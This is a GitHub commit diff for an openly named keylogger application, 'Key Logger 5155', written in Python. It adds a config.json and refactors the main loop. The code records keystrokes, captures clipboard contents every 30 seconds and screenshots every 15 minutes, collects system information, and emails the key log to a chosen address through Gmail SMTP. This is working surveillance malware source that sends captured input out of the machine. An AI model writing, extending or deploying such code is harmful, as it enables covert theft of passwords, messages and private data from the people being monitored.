Skip to content

Commit a7b3455

Browse files
feat(zip): create zip bundle of logs & send via email
2 parents 383ad89 + a4db448 commit a7b3455

File tree

2 files changed

+168
-27
lines changed

2 files changed

+168
-27
lines changed

app/guikeylogger.py

Lines changed: 135 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -26,22 +26,104 @@
2626
import glob
2727
from datetime import datetime
2828

29+
import json
30+
import time
31+
32+
_DEFAULT_CONFIG = {
33+
"paths": {
34+
"data_dir": "app/data",
35+
"keys_file": "app/data/key_log.txt",
36+
"system_file": "app/data/systeminfo.txt",
37+
"clipboard_file": "app/data/clipboard.txt",
38+
"screenshot_dir": "app/data/screenshots"
39+
}
40+
,
41+
"intervals_seconds": {
42+
"screenshot_interval": 900,
43+
"email_interval": 900,
44+
"clipboard_interval": 30,
45+
"loop_sleep": 1
46+
},
47+
"screenshots": {"keep_latest": 10},
48+
"email": {
49+
"smtp_host": "smtp.gmail.com",
50+
"smtp_port": 587,
51+
"from_env": True,
52+
"from_address_env_var": "email",
53+
"from_password_env_var": "pass"
54+
},
55+
"gui": {
56+
"icon": "cracking.ico",
57+
"image": "cracking.png",
58+
"window_title": "Key Logger 5155"
59+
},
60+
"safety": {"require_confirm": True}
61+
}
62+
63+
def load_config():
64+
"""Load ../config.json relative to this file, merge with defaults."""
65+
base_dir = os.path.dirname(os.path.abspath(__file__))
66+
config_path = os.path.join(base_dir, "..", "config.json")
67+
cfg = _DEFAULT_CONFIG.copy()
68+
69+
try:
70+
with open(config_path, "r", encoding="utf-8") as f:
71+
user_cfg = json.load(f)
72+
except FileNotFoundError:
73+
logging.warning(f"config.json not found at {config_path}, using defaults")
74+
return cfg
75+
except json.JSONDecodeError as e:
76+
logging.error(f"Invalid config.json: {e}")
77+
return cfg
78+
79+
for top_key, top_val in user_cfg.items():
80+
if top_key in cfg and isinstance(cfg[top_key], dict) and isinstance(top_val, dict):
81+
cfg[top_key].update(top_val)
82+
else:
83+
cfg[top_key] = top_val
84+
return cfg
85+
86+
# Load config once
87+
config = load_config()
88+
89+
2990
# Load environment variables
3091
load_dotenv()
3192

3293
# Configure logging
33-
logging.basicConfig(filename="data/key_log.txt", level=logging.DEBUG, format='%(asctime)s, %(message)s')
94+
logging.basicConfig(
95+
filename=os.path.join(os.path.dirname(__file__), "data", "key_log.txt"),
96+
level=logging.DEBUG,
97+
format="%(asctime)s, %(message)s"
98+
)
3499

35100
# File paths for various log files
36-
keys_information = "data/key_log.txt"
37-
system_information = "data/systeminfo.txt"
38-
clipboard_information = "data/clipboard.txt"
39-
SCREENSHOT_DIR="data/screenshots"
40-
41-
DATA_DIR = "data"
42-
SCREENSHOTS_DIR = os.path.join(DATA_DIR, "screenshots")
43-
STATE_FILE = os.path.join(DATA_DIR, "last_email_state.json")
44-
KEYLOG_EXTRA_BYTES = 2048
101+
# Config-based paths and intervals
102+
paths = config["paths"]
103+
keys_information = paths["keys_file"]
104+
system_information = paths["system_file"]
105+
clipboard_information = paths["clipboard_file"]
106+
SCREENSHOT_DIR = paths["screenshot_dir"]
107+
108+
intervals = config["intervals_seconds"]
109+
SCREENSHOT_INTERVAL = int(intervals.get("screenshot_interval", 900))
110+
EMAIL_INTERVAL = int(intervals.get("email_interval", 900))
111+
CLIPBOARD_INTERVAL = int(intervals.get("clipboard_interval", 30))
112+
LOOP_SLEEP = float(intervals.get("loop_sleep", 1.0))
113+
114+
KEEP_SCREENSHOTS = int(config.get("screenshots", {}).get("keep_latest", 10))
115+
116+
email_cfg = config["email"]
117+
SMTP_HOST = email_cfg.get("smtp_host", "smtp.gmail.com")
118+
SMTP_PORT = int(email_cfg.get("smtp_port", 587))
119+
120+
# Load email credentials (prefer env)
121+
if email_cfg.get("from_env", True):
122+
email_address = os.getenv(email_cfg.get("from_address_env_var", "email"))
123+
password = os.getenv(email_cfg.get("from_password_env_var", "pass"))
124+
else:
125+
email_address = email_cfg.get("from_address")
126+
password = email_cfg.get("from_password")
45127

46128
# Retrieve email and password from environment variables
47129
email_address = os.getenv('email')
@@ -309,33 +391,54 @@ def write_file(keys):
309391

310392
# Function to start keylogger
311393
def start_logger():
312-
global listener, toAddr, btnStr
313-
count = 900
394+
global listener, toAddr, btnStr, stopFlag
314395
listener.start()
315396
btnStr.set("Stop Keylogger")
397+
316398
screenshot()
399+
last_screenshot = time.time()
400+
last_clipboard = time.time()
401+
last_email = time.time()
402+
317403
while True:
318-
print(count)
319404
if stopFlag:
320405
break
321-
if count % 30 ==0 :
322-
copy_clipboard()
323-
if count == 0:
324-
screenshot()
325-
computer_information()
326-
if email_address and password and toAddr != "":
406+
407+
now = time.time()
408+
409+
# Clipboard capture
410+
if now - last_clipboard >= CLIPBOARD_INTERVAL:
411+
try:
412+
copy_clipboard()
413+
except Exception as e:
414+
logging.error(f"Clipboard error: {e}")
415+
last_clipboard = now
416+
417+
# Screenshot capture
418+
if now - last_screenshot >= SCREENSHOT_INTERVAL:
419+
try:
420+
screenshot()
421+
except Exception as e:
422+
logging.error(f"Screenshot error: {e}")
423+
last_screenshot = now
424+
425+
# Email send
426+
if now - last_email >= EMAIL_INTERVAL:
427+
if email_address and password and toAddr:
327428
try:
328429
send_email(keys_information, keys_information, toAddr)
329-
except:
330-
pass
331-
count = 900
332-
sleep(1)
333-
count -= 1
430+
except Exception as e:
431+
logging.error(f"Email send failed: {e}")
432+
last_email = now
433+
434+
time.sleep(LOOP_SLEEP)
435+
334436
listener.stop()
335437
btnStr.set("Start Keylogger")
336438
listener = Listener(on_press=on_press)
337439

338440

441+
339442
# Function to handle button click event
340443
def on_button_click():
341444
global state, toAddr, listener, stopFlag, receiver_entry, btnStr
@@ -378,10 +481,15 @@ def on_button_click():
378481
btnStr.set("Start Keylogger")
379482

380483
# Load and set icon on Title bar
381-
root.after(201, lambda: root.iconbitmap('cracking.ico'))
484+
base_dir = os.path.dirname(os.path.abspath(__file__))
485+
icon_path = os.path.join(base_dir, "data", "cracking.ico")
486+
img_path = os.path.join(os.path.dirname(__file__), "cracking.png")
487+
image = Image.open(img_path)
488+
489+
icon_path = os.path.join(os.path.dirname(__file__), "cracking.ico")
490+
root.after(201, lambda: root.iconbitmap(icon_path))
491+
image = Image.open(img_path)
382492

383-
# Display an image
384-
image = Image.open('cracking.png')
385493
resize_image = image.resize((300, 300))
386494
img = CTkImage(light_image=resize_image, size=(240, 240))
387495
icon = CTkLabel(main_frame, image=img, text="")

config.json

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
{
2+
"paths": {
3+
"data_dir": "data",
4+
"keys_file": "data/key_log.txt",
5+
"system_file": "data/systeminfo.txt",
6+
"clipboard_file": "data/clipboard.txt",
7+
"screenshot_dir": "data/screenshots"
8+
},
9+
"intervals_seconds": {
10+
"screenshot_interval": 900,
11+
"email_interval": 900,
12+
"clipboard_interval": 30,
13+
"loop_sleep": 1
14+
},
15+
"screenshots": {
16+
"keep_latest": 10
17+
},
18+
"email": {
19+
"smtp_host": "smtp.gmail.com",
20+
"smtp_port": 587,
21+
"from_env": true,
22+
"from_address_env_var": "email",
23+
"from_password_env_var": "pass"
24+
},
25+
"gui": {
26+
"icon": "cracking.ico",
27+
"image": "cracking.png",
28+
"window_title": "Key Logger 5155"
29+
},
30+
"safety": {
31+
"require_confirm": true
32+
}
33+
}

0 commit comments

Comments
 (0)